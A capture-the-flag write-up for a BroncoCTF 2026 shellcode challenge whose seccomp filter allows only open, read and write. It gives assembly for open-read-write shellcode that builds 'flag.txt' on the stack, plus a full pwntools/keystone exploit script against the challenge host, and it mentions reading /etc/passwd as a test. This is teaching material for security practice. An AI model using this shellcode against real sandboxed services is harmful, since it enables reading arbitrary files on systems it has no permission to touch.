$ cat writeup.md…
$ cat writeup.md…
broncoctf2026
Task: remote x86-64 shellcode runner installs a strict seccomp allowlist (only open/read/write) then jumps to user bytes; execve is blocked. Solution: classic ORW shellcode — build 'flag.txt' on the stack, open(2)->read(0)->write(1) — bypassing the allowlist without execve. Gotcha: the flag is at the RELATIVE path flag.txt, not any absolute path.
Mr. Krabs has heard about these so-called "shellcode hackers" trying to break into his secret vault. So he hired the barnacles. They said no execve. Something about a "Strict Sea Policy." You'll need to get creative if you want that flag.
Remote target: nc 0.cloud.chals.io 34381 (alias broncoctf-crab-trap.chals.io).
English summary: A remote x86-64 Linux shellcode runner prints an ASCII banner and a > prompt, reads one raw shellcode blob (max 512 bytes), reports the swallowed byte count ("Nom nom... swallowed N bytes. Deploying the Barnacle Barrier..."), installs a strict seccomp allowlist, then jumps directly to the supplied bytes. The goal is to read the flag despite execve being blocked.
Semantic clues in the prompt map directly to the mechanism:
push "/bin/sh"; execve shellcode is dead.Behavior of the service under the filter:
open (2), read (0), write (1). execve and friends are blocked.open, read, and write are all allowed, plain ORW (open -> read -> write) shellcode works out of the box. No openat2 trick, no pre-opened-fd assumption, no exit syscall needed after writing./etc/passwd via open -> read -> write, confirming syscalls 2/0/1 fire under the filter and return data.The main gotcha was the flag path. Absolute paths (/flag, /flag.txt, /app/flag.txt, /home/ctf/flag) do not exist. The flag is at the relative path flag.txt (the service's CWD), so open("flag.txt", O_RDONLY) is what succeeds.
Send a short ORW shellcode after the > prompt. The shellcode:
"flag.txt" on the stack.open(rsp, O_RDONLY=0, 0) -> rax = fd (mov eax, 2; syscall)read(fd, rsp, 256) (xor eax, eax; syscall)write(1, rsp, nbytes) (mov eax, 1; syscall)The whole payload is ~59 bytes, well under the 512-byte cap.
Raw ORW opcode sequence (amd64), building flag.txt on the stack:
xor eax, eax ; NUL terminator
push rax
movabs rax, 0x7478742e67616c66 ; "flag.txt" little-endian
push rax
mov rdi, rsp ; path = &"flag.txt"
xor esi, esi ; O_RDONLY
xor edx, edx ; mode 0
mov eax, 2 ; SYS_open
syscall ; rax = fd
mov edi, eax ; fd
mov rsi, rsp ; buffer (reuse stack)
mov edx, 256 ; count
xor eax, eax ; SYS_read = 0
syscall ; rax = bytes read
mov edx, eax ; count = bytes read
mov edi, 1 ; fd = stdout
mov rsi, rsp ; buffer
mov eax, 1 ; SYS_write = 1
syscall ; leak flag to stdout
Full working exploit (pwntools + keystone; keystone assembles the raw amd64 opcodes so it stays portable on macOS, which usually has no GNU amd64 assembler available to pwntools):
#!/usr/bin/env python3 from pwn import * from keystone import Ks, KS_ARCH_X86, KS_MODE_64 context.arch = "amd64" context.os = "linux" HOST = args.HOST or "0.cloud.chals.io" PORT = int(args.PORT or 34381) PATH = (args.PATH or "flag.txt").encode() # Strict seccomp permits only open(2), read(0), and write(1). Raw opcodes keep # this portable on macOS, where pwntools usually has no amd64 GNU assembler. chunks = [PATH[i:i+8].ljust(8, b"\0") for i in range(0, len(PATH), 8)] ins = ["xor eax,eax", "push rax"] for chunk in reversed(chunks): ins += [f"movabs rax, 0x{int.from_bytes(chunk, 'little'):x}", "push rax"] ins += [ "mov rdi,rsp", "xor esi,esi", "xor edx,edx", "mov eax,2", "syscall", "mov edi,eax", "mov rsi,rsp", "mov edx,256", "xor eax,eax", "syscall", "mov edx,eax", "mov edi,1", "mov rsi,rsp", "mov eax,1", "syscall", ] sc = bytes(Ks(KS_ARCH_X86, KS_MODE_64).asm(";".join(ins))[0]) assert len(sc) <= 512 p = remote(HOST, PORT) p.recvuntil(b"> ") p.send(sc) print(p.recvall(timeout=5).decode(errors="replace"), end="")
Run: python3 exploit.py (optionally HOST=... PORT=... PATH=flag.txt). The
service reads flag.txt relative to its CWD and writes the contents to stdout.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar